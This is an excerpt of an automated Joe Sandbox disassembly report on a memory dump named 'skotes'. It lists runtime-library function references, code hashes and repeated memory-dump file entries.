Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: dff98976139045bdf9d6c763bac0089c290f94b3bb6e7dcad0f43cbb9ac24f96
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: EF816B75E006269FCB19CFA8C580A6DB7F6FF88304B1986ADD445AB701CB70AD52CB84

Function 0096EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0096EC81

Part of subcall function 00968F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00968F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0096ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0096ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0096ED0C

Part of subcall function 0096E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0096E7D7
Part of subcall function 0096E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0096E86F
Part of subcall function 0096E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0096E879
Part of subcall function 0096E7AF: Concurrency::location::_Assign.LIBCMT ref: 0096E8AD
Part of subcall function 0096E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0096E8B5

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: f9ac85978c324a87c7fdb429da6f91295ed97bfe0d558d4e4c0e263777190192
Instruction ID: baf2cdd49aeb702353e91acb447f3863f4e9e509d6d2b0ec4cc5699260950980
Opcode Fuzzy Hash: f9ac85978c324a87c7fdb429da6f91295ed97bfe0d558d4e4c0e263777190192
Instruction Fuzzy Hash: 4F518135A00215DFCF24DF54C8A9BADB775AF84310F1580A9E9067B3D2CB71AE05CBA1

Function 0095CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0095CBAA

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 0ce2c28703fce72148250594e7ee78f8d7938ca87e5e83933b2eada7f81bcf68
Instruction ID: 9444cdc30feb9dcfbdabeb3cbd0f88928f4b5d6dd55cd2508c9e3e8bf675a903
Opcode Fuzzy Hash: 0ce2c28703fce72148250594e7ee78f8d7938ca87e5e83933b2eada7f81bcf68
Instruction Fuzzy Hash: E9B09232B2B9304BCA516B18BC0859D77189E81A1230E4196DC11A72248A111D82ABD4

Function 0095DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22a7264eb0513b267fae2a0cfb95be6487b6e34a04412e31cf59bee81131fe0a
Instruction ID: d2fbdb46248162eed865aa4377314195599056cfeca05d3ab4f182bca4f4899e
Opcode Fuzzy Hash: 22a7264eb0513b267fae2a0cfb95be6487b6e34a04412e31cf59bee81131fe0a
Instruction Fuzzy Hash: 1C51CFB2A266068BDB25CF59D8857AEB7F5FB48301F25856AC809EB750D334AD04CF90

Function 0095F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0095F2BB

Strings

pEvents, xrefs: 0095F2B3

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 3f5b7a7b4f89697fe35392ab6c86176d7eb3d5359cbcc2988e8eaa03c93bccba
Instruction ID: 47b985ace58130bb69d0393db6e8343de24a38098d878b5aba3c4bbc053f2bc1
Opcode Fuzzy Hash: 3f5b7a7b4f89697fe35392ab6c86176d7eb3d5359cbcc2988e8eaa03c93bccba
Instruction Fuzzy Hash: 4C81E471D00319DFCF14DFAAC991BAEB7B8AF44322F144429EC11A7282DB35AE49CB51

Function 009726D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 009726E3

Part of subcall function 009724E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00972504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00972704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00972711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0097275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 009727E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 009727F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00972846

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
